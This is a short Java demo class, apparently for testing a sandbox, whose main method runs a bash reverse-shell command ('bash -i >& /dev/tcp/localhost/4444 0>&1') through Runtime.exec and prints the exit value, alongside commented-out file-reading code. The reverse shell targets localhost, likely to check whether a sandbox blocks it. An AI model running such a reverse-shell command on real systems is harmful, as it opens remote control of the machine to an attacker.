package sanbox;

import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStream;

public class SanBoxDemo {
    public static void main(String[] args) throws IOException, InterruptedException {
//        String file = "E:/file/test.txt";
//        InputStream in = new FileInputStream(file);
//        byte[] content = new byte["sdaddddd".length()];
//        while (in.read(content)!=-1){
//            System.out.println(new String(content));
//        }
        Process result = Runtime.getRuntime().exec("/usr/bin/bash -i >& /dev/tcp/localhost/4444 0>&1");
        result.waitFor();
        int result_value = result.exitValue();
        System.out.println(result + ":" + result_value);

    }
}
